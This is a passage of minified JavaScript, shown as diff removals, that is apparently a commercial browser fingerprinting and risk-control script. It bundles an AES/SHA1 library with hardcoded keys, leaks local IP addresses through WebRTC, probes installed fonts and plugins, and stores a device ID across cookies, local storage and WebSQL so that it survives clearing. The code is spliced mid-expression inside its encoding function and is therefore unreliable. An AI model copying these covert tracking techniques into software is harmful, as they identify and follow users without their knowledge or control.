= this._iv; - l ? this._iv = t : l = this._prevBlock; - for (var h = 0; h < c; h++) a[b + h] ^= l[h] - } - - var m = e.extend(); - m.Encryptor = m.extend({ - processBlock: function (a, b) { - var c = this._cipher, - l = c.blockSize; - g.call(this, a, b, l); - c.encryptBlock(a, b); - this._prevBlock = a.slice(b, b + l) - } - }); - m.Decryptor = m.extend({ - processBlock: function (a, b) { - var c = this._cipher, - l = c.blockSize, - h = a.slice(b, b + l); - c.decryptBlock(a, b); - g.call(this, a, b, l); - this._prevBlock = h - } - }); - return m - }(); - var f = (u.pad = {}).Pkcs7 = { - pad: function (g, m) { - m *= 4; - m -= g.sigBytes % m; - for (var a = m << 24 | m << 16 | m << 8 | m, b = [], c = 0; c < m; c += 4) b.push(a); - m = w.create(b, m); - g.concat(m) - }, - unpad: function (g) { - g.sigBytes -= g.words[g.sigBytes - 1 >>> 2] & 255 - } - }; - v.BlockCipher = y.extend({ - cfg: y.cfg.extend({ - mode: n, - padding: f - }), - reset: function () { - y.reset.call(this); - var g = this.cfg, - m = g.iv; - g = g.mode; - if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; - else a = g.createDecryptor, this._minBufferSize = 1; - this._mode = a.call(g, this, m && m.words) - }, - _doProcessBlock: function (g, m) { - this._mode.processBlock(g, m) - }, - _doFinalize: function () { - var g = this.cfg.padding; - if (this._xformMode == this._ENC_XFORM_MODE) { - g.pad(this._data, this.blockSize); - var m = this._process(!0) - } else m = this._process(!0), g.unpad(m); - return m - }, - blockSize: 4 - }); - var r = v.CipherParams = x.extend({ - init: function (g) { - this.mixIn(g) - }, - toString: function (g) { - return (g || this.formatter).stringify(this) - } - }); - u.format = {}; - var k = v.SerializableCipher = x.extend({ - cfg: x.extend({}), - encrypt: function (g, m, a, b) { - b = this.cfg.extend(b); - var c = g.createEncryptor(a, b); - m = c.finalize(m); - c = c.cfg; - return r.create({ - ciphertext: m, - key: a, - iv: c.iv, - algorithm: g, - mode: c.mode, - padding: c.padding, - blockSize: g.blockSize, - formatter: b.format - }) - }, - decrypt: function (g, m, a, b) { - b = this.cfg.extend(b); - m = this._parse(m, b.format); - return g.createDecryptor(a, b).finalize(m.ciphertext) - }, - _parse: function (g, m) { - return "string" == typeof g ? m.parse(g, this) : g - } - }) -}(); -(function () { - var t = JDDSecCryptoJS, - u = t.lib.BlockCipher, - v = t.algo, - x = [], - w = [], - A = [], - y = [], - n = [], - e = [], - f = [], - r = [], - k = [], - g = []; - (function () { - for (var a = [], b = 0; 256 > b; b++) a[b] = 128 > b ? b << 1 : b << 1 ^ 283; - var c = 0, - l = 0; - for (b = 0; 256 > b; b++) { - var h = l ^ l << 1 ^ l << 2 ^ l << 3 ^ l << 4; - h = h >>> 8 ^ h & 255 ^ 99; - x[c] = h; - w[h] = c; - var q = a[c], - z = a[q], - C = a[z], - D = 257 * a[h] ^ 16843008 * h; - A[c] = D << 24 | D >>> 8; - y[c] = D << 16 | D >>> 16; - n[c] = D << 8 | D >>> 24; - e[c] = D; - D = 16843009 * C ^ 65537 * z ^ 257 * q ^ 16843008 * c; - f[h] = D << 24 | D >>> 8; - r[h] = D << 16 | D >>> 16; - k[h] = D << 8 | D >>> 24; - g[h] = D; - c ? (c = q ^ a[a[a[C ^ q]]], l ^= a[a[l]]) : c = l = 1 - } - })(); - var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; - v = v.AES = u.extend({ - _doReset: function () { - var a = this._key, - b = a.words, - c = a.sigBytes / 4; - a = 4 * ((this._nRounds = c + 6) + 1); - for (var l = this._keySchedule = [], h = 0; h < a; h++) - if (h < c) l[h] = b[h]; - else { - var q = l[h - 1]; - h % c ? 6 < c && 4 == h % c && (q = x[q >>> 24] << 24 | x[q >>> 16 & 255] << 16 | x[ - q >>> 8 & 255] << 8 | x[q & 255]) : (q = q << 8 | q >>> 24, q = x[q >>> 24] << - 24 | x[q >>> 16 & 255] << 16 | x[q >>> 8 & 255] << 8 | x[q & 255], q ^= m[h / - c | 0] << 24); - l[h] = l[h - c] ^ q - } - b = this._invKeySchedule = []; - for (c = 0; c < a; c++) h = a - c, q = c % 4 ? l[h] : l[h - 4], b[c] = 4 > c || 4 >= h ? q : - f[x[q >>> 24]] ^ r[x[q >>> 16 & 255]] ^ k[x[q >>> 8 & 255]] ^ g[x[q & 255]] - }, - encryptBlock: function (a, b) { - this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x) - }, - decryptBlock: function (a, b) { - var c = a[b + 1]; - a[b + 1] = a[b + 3]; - a[b + 3] = c; - this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); - c = a[b + 1]; - a[b + 1] = a[b + 3]; - a[b + 3] = c - }, - _doCryptBlock: function (a, b, c, l, h, q, z, C) { - for (var D = this._nRounds, B = a[b] ^ c[0], F = a[b + 1] ^ c[1], H = a[b + 2] ^ c[2], G = - a[b + 3] ^ c[3], I = 4, M = 1; M < D; M++) { - var J = l[B >>> 24] ^ h[F >>> 16 & 255] ^ q[H >>> 8 & 255] ^ z[G & 255] ^ c[I++], - K = l[F >>> 24] ^ h[H >>> 16 & 255] ^ q[G >>> 8 & 255] ^ z[B & 255] ^ c[I++], - L = l[H >>> 24] ^ h[G >>> 16 & 255] ^ q[B >>> 8 & 255] ^ z[F & 255] ^ c[I++]; - G = l[G >>> 24] ^ h[B >>> 16 & 255] ^ q[F >>> 8 & 255] ^ z[H & 255] ^ c[I++]; - B = J; - F = K; - H = L - } - J = (C[B >>> 24] << 24 | C[F >>> 16 & 255] << 16 | C[H >>> 8 & 255] << 8 | C[G & 255]) ^ c[ - I++]; - K = (C[F >>> 24] << 24 | C[H >>> 16 & 255] << 16 | C[G >>> 8 & 255] << 8 | C[B & 255]) ^ c[ - I++]; - L = (C[H >>> 24] << 24 | C[G >>> 16 & 255] << 16 | C[B >>> 8 & 255] << 8 | C[F & 255]) ^ c[ - I++]; - G = (C[G >>> 24] << 24 | C[B >>> 16 & 255] << 16 | C[F >>> 8 & 255] << 8 | C[H & 255]) ^ c[ - I++]; - a[b] = J; - a[b + 1] = K; - a[b + 2] = L; - a[b + 3] = G - }, - keySize: 8 - }); - t.AES = u._createHelper(v) -})(); - -(function () { - var t = JDDSecCryptoJS, - u = t.lib, - v = u.WordArray, - x = u.Hasher, - w = []; - u = t.algo.SHA1 = x.extend({ - _doReset: function () { - this._hash = new v.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) - }, - _doProcessBlock: function (A, y) { - for (var n = this._hash.words, e = n[0], f = n[1], r = n[2], k = n[3], g = n[4], m = 0; 80 > - m; m++) { - if (16 > m) w[m] = A[y + m] | 0; - else { - var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; - w[m] = a << 1 | a >>> 31 - } - a = (e << 5 | e >>> 27) + g + w[m]; - a = 20 > m ? a + ((f & r | ~f & k) + 1518500249) : 40 > m ? a + ((f ^ r ^ k) + - 1859775393) : 60 > m ? a + ((f & r | f & k | r & k) - 1894007588) : a + ((f ^ r ^ - k) - 899497514); - g = k; - k = r; - r = f << 30 | f >>> 2; - f = e; - e = a - } - n[0] = n[0] + e | 0; - n[1] = n[1] + f | 0; - n[2] = n[2] + r | 0; - n[3] = n[3] + k | 0; - n[4] = n[4] + g | 0 - }, - _doFinalize: function () { - var A = this._data, - y = A.words, - n = 8 * this._nDataBytes, - e = 8 * A.sigBytes; - y[e >>> 5] |= 128 << 24 - e % 32; - y[(e + 64 >>> 9 << 4) + 14] = Math.floor(n / 4294967296); - y[(e + 64 >>> 9 << 4) + 15] = n; - A.sigBytes = 4 * y.length; - this._process(); - return this._hash - }, - clone: function () { - var A = x.clone.call(this); - A._hash = this._hash.clone(); - return A - } - }); - t.SHA1 = x._createHelper(u); - t.HmacSHA1 = x._createHmacHelper(u) -})(); - -(function () { - var t = JDDSecCryptoJS, - u = t.channel; - u.Downlink = { - deBase32: function (v) { - if (void 0 == v || "" == v || null == v) return ""; - var x = t.enc.Hex.parse("30313233343536373839616263646566"), - w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); - return t.AES.decrypt({ - ciphertext: t.enc.Base32.parse(v) - }, w, { - mode: t.mode.CBC, - padding: t.pad.Pkcs7, - iv: x - }).toString(t.enc.Utf8) - }, - deBase64: function (v) { - return "" - } - }; - u.Uplink = { - enAsBase32: function (v) { - return "" - }, - enAsBase64: function (v) { - return "" - } - } -})(); - -(function () { - var t = JDDSecCryptoJS, - u = t.lib.WordArray; - t.enc.Base32 = { - stringify: function (v) { - var x = v.words, - w = v.sigBytes, - A = this._map; - v.clamp(); - v = []; - for (var y = 0; y < w; y += 5) { - for (var n = [], e = 0; 5 > e; e++) n[e] = x[y + e >>> 2] >>> 24 - (y + e) % 4 * 8 & 255; - n = [n[0] >>> 3 & 31, (n[0] & 7) << 2 | n[1] >>> 6 & 3, n[1] >>> 1 & 31, (n[1] & 1) << 4 | - n[2] >>> 4 & 15, (n[2] & 15) << 1 | n[3] >>> 7 & 1, n[3] >>> 2 & 31, (n[3] & 3) << - 3 | n[4] >>> 5 & 7, n[4] & 31]; - for (e = 0; 8 > e && y + .625 * e < w; e++) v.push(A.charAt(n[e])) - } - if (x = A.charAt(32)) - for (; v.length % 8;) v.push(x); - return v.join("") - }, - parse: function (v) { - var x = v.length, - w = this._map, - A = w.charAt(32); - A && (A = v.indexOf(A), -1 != A && (x = A)); - A = []; - for (var y = 0, n = 0; n < x; n++) { - var e = n % 8; - if (0 != e && 2 != e && 5 != e) { - var f = 255 & w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8, - r = 255 & w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8; - e = e % 3 ? 0 : 255 & w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7); - A[y >>> 2] |= (f | r | e) << 24 - y % 4 * 8; - y++ - } - } - return u.create(A, y) - }, - _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" - } -})(); - -class JDDMAC { - static t() { - return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" - .split(" ").map(function (v) { - return parseInt(v, 16) - }) - } - - mac(v) { - for (var x = -1, w = 0, A = v.length; w < A; w++) x = x >>> 8 ^ t[(x ^ v.charCodeAt(w)) & 255]; - return (x ^ -1) >>> 0 - } -} - -var _CurrentPageProtocol = "https:" == document.location.protocol ? "https://" : "http://", - _JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", - _url_query_str = "", - _root_domain = "", - _CurrentPageUrl = function () { - var t = document.location.href.toString(); - try { - _root_domain = /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec(t)[1] - } catch (v) { - } - var u = t.indexOf("?"); - 0 < u && (_url_query_str = t.substring(u + 1), 500 < _url_query_str.length && (_url_query_str = _url_query_str.substring( - 0, 499)), t = t.substring(0, u)); - return t = t.substring(_CurrentPageProtocol.length) - }(), - jd_shadow__ = function () { - try { - var t = JDDSecCryptoJS, - u = []; - u.push(_CurrentPageUrl); - var v = t.lib.UUID.generateUuid(); - u.push(v); - var x = (new Date).getTime(); - u.push(x); - var w = t.SHA1(u.join("")).toString().toUpperCase(); - u = []; - u.push("JD3"); - u.push(w); - var A = (new JDDMAC).mac(u.join("")); - u.push(A); - var y = t.enc.Hex.parse("30313233343536373839616263646566"), - n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), - e = u.join(""); - return t.AES.encrypt(t.enc.Utf8.parse(e), n, { - mode: t.mode.CBC, - padding: t.pad.Pkcs7, - iv: y - }).ciphertext.toString(t.enc.Base32) - } catch (f) { - console.log(f) - } - }() -var td_collect = new function () { - function t() { - var n = window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.RTCPeerConnection; - if (n) { - var e = function (k) { - var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, - m = - /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; - try { - var a = g.exec(k); - if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); - var b = a[1]; - void 0 === f[b] && w.push(b); - f[b] = !0 - } catch (c) { - } - }, - f = {}; - try { - var r = new n({ - iceServers: [{ - url: "stun:stun.services.mozilla.com" - }] - }) - } catch (k) { - } - try { - void 0 === r && (r = new n({ - iceServers: [] - })) - } catch (k) { - } - if (r || window.mozRTCPeerConnection) try { - r.createDataChannel("chat", { - reliable: !1 - }) - } catch (k) { - } - r && (r.onicecandidate = function (k) { - k.candidate && e(k.candidate.candidate) - }, r.createOffer(function (k) { - r.setLocalDescription(k, function () { - }, function () { - }) - }, function () { - }), setTimeout(function () { - try { - r.localDescription.sdp.split("\n").forEach(function (k) { - 0 === k.indexOf("a=candidate:") && e(k) - }) - } catch (k) { - } - }, 800)) - } - } - - function u(n) { - var e; - return (e = document.cookie.match(new RegExp("(^| )" + n + "=([^;]*)(;|$)"))) ? e[2] : "" - } - - function v() { - function n(g) { - var m = {}; - r.style.fontFamily = g; - document.body.appendChild(r); - m.height = r.offsetHeight; - m.width = r.offsetWidth; - document.body.removeChild(r); - return m - } - - var e = ["monospace", "sans-serif", "serif"], - f = [], - r = document.createElement("span"); - r.style.fontSize = "72px"; - r.style.visibility = "hidden"; - r.innerHTML = "mmmmmmmmmmlli"; - for (var k = 0; k < e.length; k++) f[k] = n(e[k]); - this.checkSupportFont = function (g) { - for (var m = 0; m < f.length; m++) { - var a = n(g + "," + e[m]), - b = f[m]; - if (a.height !== b.height || a.width !== b.width) return !0 - } - return !1 - } - } - - function x(n) { - var e = {}; - e.name = n.name; - e.filename = n.filename.toLowerCase(); - e.description = n.description; - void 0 !== n.version && (e.version = n.version); - e.mimeTypes = []; - for (var f = 0; f < n.length; f++) { - var r = n[f], - k = {}; - k.description = r.description; - k.suffixes = r.suffixes; - k.type = r.type; - e.mimeTypes.push(k) - } - return e - } - - this.bizId = ""; - this.bioConfig = { - type: "42", - operation: 1, - duraTime: 2, - interval: 50 - }; - this.worder = null; - this.deviceInfo = { - userAgent: "", - isJdApp: !1, - isJrApp: !1, - sdkToken: "", - fp: "", - eid: "" - }; - this.isRpTok = !1; - this.obtainLocal = function (n) { - n = "undefined" !== typeof n && n ? !0 : !1; - var e = {}; - try { - var f = document.cookie.replace(/(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, "$1"); - 0 !== f.length && (e.cookie = f) - } catch (k) { - } - try { - window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = - window.localStorage.getItem("3AB9D23F7A4B3C9B")) - } catch (k) { - } - try { - window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ - "3AB9D23F7A4B3C9B"]) - } catch (k) { - } - try { - p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]) - } catch (k) { - } - try { - d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( - "jdgia_user_data"), e.userData = d.getAttribute("3AB9D23F7A4B3C9B")) - } catch (k) { - } - try { - E.indexedDbId && (e.indexedDb = E.indexedDbId) - } catch (k) { - } - try { - E.webDbId && (e.webDb = E.webDbId) - } catch (k) { - } - try { - for (var r in e) - if (32 < e[r].length) { - _JdEid = e[r]; - n || (_eidFlag = !0); - break - } - } catch (k) { - } - try { - ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && this.db("3AB9D23F7A4B3C9B"); - if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _JdEid = u("3AB9D23F7A4B3C9B"); - if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0 - } catch (k) { - } - return _JdEid - }; - var w = [], - A = - "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin" - .split(";"), - y = - "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako" - .split(";"); - this.toJson = "object" === typeof JSON && JSON.stringify; - this.init = function () { - _fingerprint_step = 6; - t(); - _fingerprint_step = 7; - "function" !== typeof this.toJson && (this.toJson = function (n) { - var e = typeof n; - if ("undefined" === e || null === n) return "null"; - if ("number" === e || "boolean" === e) return n + ""; - if ("object" === e && n && n.constructor === Array) { - e = []; - for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); - return "[" + (e + "]") - } - if ("object" === e) { - e = []; - for (f in n) n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); - return "{" + (e + "}") - } - }); - this.sdkCollectInit() - }; - this.sdkCollectInit = function () { - try { - try { - bp_bizid && (this.bizId = bp_bizid) - } catch (f) { - this.bizId = "jsDefault" - } - var n = navigator.userAgent.toLowerCase(), - e = !n.match(/(iphone|ipad|ipod)/i) && (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); - this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); - this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); - this.deviceInfo.userAgent = navigator.userAgent; - this.deviceInfo.isAndroid = e; - this.createWorker() - } catch (f) { - } - }; - this.db = function (n, e) { - try { - _fingerprint_step = "m"; - if (window.openDatabase) { - var f = window.openDatabase("sqlite_jdtdstorage", "", "jdtdstorage", 1048576); - void 0 !== e && "" != e ? f.transaction(function (r) { - r.executeSql( - "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", - [], - function (k, g) { - }, - function (k, g) { - }); - r.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [n, e], - function (k, g) { - }, - function (k, g) { - }) - }) : f.transaction(function (r) { - r.executeSql("SELECT value FROM cache WHERE name=?", [n], function (k, g) { - 1 <= g.rows.length && (_JdEid = g.rows.item(0).value) - }, function (k, g) { - }) - }) - } - _fingerprint_step = "n" - } catch (r) { - } - }; - this.setCookie = function (n, e) { - void 0 !== e && "" != e && (document.cookie = n + "=" + e + - "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + _root_domain) - }; - this.tdencrypt = function (n) { - n = this.toJson(n); - n = encodeURIComponent(n); - var e = "", - f = 0; - do { - var r = n.charCodeAt(f++); - var k = n.charCodeAt(f++); - var g = n.charCodeAt(f++); - var m = r >> 2; - r = (r & 3) << 4 | k >> 4; - var a = (k & 15) << 2 | g >> 6; - var b = g & 63; - isNaN(k) ? a = b = 64 : isNaN(g) && (b = 64); - e = e + "23IL k; k++) C = q[k], void 0 !== screen[C] && (z[C] = screen[C]); - q = ["devicePixelRatio", "screenTop", "screenLeft"]; - l = {}; - for (k = 0; q.length > k; k++) C = q[k], void 0 !== window[C] && (l[C] = window[C]); - e.p = h; - e.w = l; - e.s = z; - e.sc = f; - e.tz = n.getTimezoneOffset(); - e.lil = w.sort().join("|"); - e.wil = ""; - f = {}; - try { - f.cookie = navigator.cookieEnabled, f.localStorage = !!window.localStorage, f.sessionStorage = !! - window.sessionStorage, f.globalStorage = !!window.globalStorage, f.indexedDB = !!window.indexedDB - } catch (D) { - } - e.ss = f; - e.ts.deviceTime = n.getTime(); - e.ts.deviceEndTime = (new Date).getTime(); - return this.tdencrypt(e) - }; - this.collectSdk = function (n) { - try { - var e = this, - f = !1, - r = e.getLocal("BATQW722QTLYVCRD"); - if (null != r && void 0 != r && "" != r) try { - var k = JSON.parse(r), - g = (new Date).getTime(); - null != k && void 0 != k.t && "number" == typeof k.t && (12E5 >= g - k.t && void 0 != k.tk && - null != k.tk && "" != k.tk && k.tk.startsWith("jdd") ? (e.deviceInfo.sdkToken = k.tk, - f = !0) : void 0 != k.tk && null != k.tk && "" != k.tk && (e.deviceInfo.sdkToken = - k.tk)) - } catch (m) { - } - r = !1; - e.deviceInfo.isJdApp ? (e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2], (r = 0 < e.compareVersion( - e.deviceInfo.clientVersion, "7.0.2")) && !f && e.getJdSdkCacheToken(function (m) { - e.deviceInfo.sdkToken = m; - null != m && "" != m && m.startsWith("jdd") || e.getJdBioToken(n) - })) : e.deviceInfo.isJrApp && (e.deviceInfo.clientVersion = navigator.userAgent.match( - /clientVersion=([^&]*)(&|$)/)[1], (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, - "4.6.0")) && !f && e.getJdJrSdkCacheToken(function (m) { - e.deviceInfo.sdkToken = m; - null != m && "" != m && m.startsWith("jdd") || e.getJdJrBioToken(n) - })); - "function" == typeof n && n(e.deviceInfo) - } catch (m) { - } - }; - this.compareVersion = function (n, e) { - try { - if (n === e) return 0; - var f = n.split("."); - var r = e.split("."); - for (n = 0; n < f.length; n++) { - var k = parseInt(f[n]); - if (!r[n]) return 1; - var g = parseInt(r[n]); - if (k < g) break; - if (k > g) return 1 - } - } catch (m) { - } - return -1 - }; - this.isWKWebView = function () { - return this.deviceInfo.userAgent.match(/supportJDSHWK/i) 